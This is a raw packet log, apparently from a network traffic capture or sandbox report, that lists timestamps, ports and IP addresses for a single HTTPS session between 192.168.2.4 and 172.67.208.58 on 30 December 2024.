Dec 30, 2024 19:10:36.067843914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067928076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067943096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067991018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067996025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068026066 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068062067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068084955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.068089008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068114042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.068161964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068176031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068214893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.068222046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068238020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.068583965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068619967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068658113 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.068665028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.068686962 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.072681904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.072736025 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155184031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155215979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155286074 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155301094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155344963 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155390024 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155458927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155473948 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155529976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155534983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155601978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155709028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155725002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155777931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155781031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155790091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155821085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155886889 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155905962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155946016 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155949116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.155977011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.155987024 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156169891 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156184912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156239033 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156243086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156284094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156320095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156357050 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156375885 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156379938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156404018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156420946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156692028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156713009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156754017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156758070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.156786919 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.156805992 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.157079935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.157097101 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.157165051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.157169104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.157207012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.160315037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244195938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244215012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244303942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244313002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244323969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244343996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244385958 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244390011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244421959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244422913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244438887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244446993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244468927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244474888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244515896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.244930983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.244945049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245014906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.245018959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245028019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245060921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245062113 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.245073080 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245091915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.245116949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.245670080 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245743990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.245908022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.245968103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.246308088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246326923 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246371031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246381998 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.246387005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246401072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246428013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.246433020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.246460915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.246474981 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.248955965 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332468987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332494974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332611084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332628012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332655907 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332681894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332685947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332704067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332712889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332734108 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332736969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332756042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332788944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332869053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332882881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332918882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332942009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332946062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.332968950 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.332983017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333157063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333192110 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333208084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333210945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333234072 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333246946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333508015 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333524942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333566904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333571911 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333611965 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333830118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333867073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333880901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333887100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.333911896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.333924055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.334028006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334043980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334085941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.334089041 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334110022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.334121943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.334355116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334372044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334413052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.334418058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.334456921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.342684984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421067953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421088934 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421247005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421262980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421305895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421331882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421351910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421411037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421415091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421451092 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421580076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421591997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421639919 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421647072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421686888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.421941996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.421956062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422000885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422003984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422013044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422029018 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422053099 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422056913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422082901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422094107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422390938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422419071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422454119 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422457933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422482967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422494888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422861099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422878027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422916889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422923088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.422941923 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.422965050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.423095942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.423152924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.423158884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.423162937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.423203945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.430892944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.509644032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.509710073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.509733915 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.509747028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.509776115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.509789944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.509845972 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510119915 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510135889 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510181904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510186911 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510370016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510389090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510421038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510425091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510451078 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510499954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510514975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510554075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510560036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510574102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510926962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510943890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.510986090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.510993004 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511018038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.511168957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511183023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511230946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.511236906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511540890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511558056 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511588097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.511591911 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.511624098 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.526760101 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598259926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598282099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598375082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598381996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598426104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598460913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598475933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598531008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598535061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598576069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598683119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598696947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598737955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598741055 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.598767042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.598784924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599056959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599072933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599111080 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599114895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599143028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599148989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599298954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599334002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599350929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599355936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599385023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599394083 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599559069 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599572897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599616051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599621058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599646091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599663973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599832058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599850893 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599891901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599896908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.599920034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.599931955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.600317955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.600341082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.600373030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.600378036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.600403070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.600416899 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.686827898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.686876059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.686909914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.686914921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.686959982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687062979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687076092 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687119961 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687123060 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687164068 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687449932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687463999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687506914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687510014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687521935 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687546968 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687736988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687752008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687803030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.687808990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.687844992 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688024044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688045979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688076019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688081026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688110113 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688126087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688306093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688349009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688359976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688363075 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688400030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688487053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688502073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688545942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688549042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688570976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688587904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688781977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688797951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688838005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688842058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.688868999 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.688888073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.702528000 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.775484085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775500059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775580883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.775587082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775629044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.775877953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775898933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775948048 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.775952101 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.775993109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776046038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776058912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776113033 CET	49746	443	192.168.2.4	172.67.208.58
